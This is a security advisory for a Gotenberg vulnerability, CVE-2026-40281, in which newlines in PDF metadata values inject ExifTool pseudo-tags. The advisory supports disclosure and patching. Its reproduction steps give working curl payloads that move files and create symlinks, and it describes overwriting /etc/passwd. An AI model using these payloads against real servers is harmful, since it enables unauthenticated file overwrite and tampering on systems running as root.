CVE-2026-40281
Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
Summary
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go — WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \ngo-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proofSteps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdfImpact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files — e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for detailsSteps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version
Related Resources
References
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q, https://github.com/gotenberg/gotenberg, https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
Basic Information
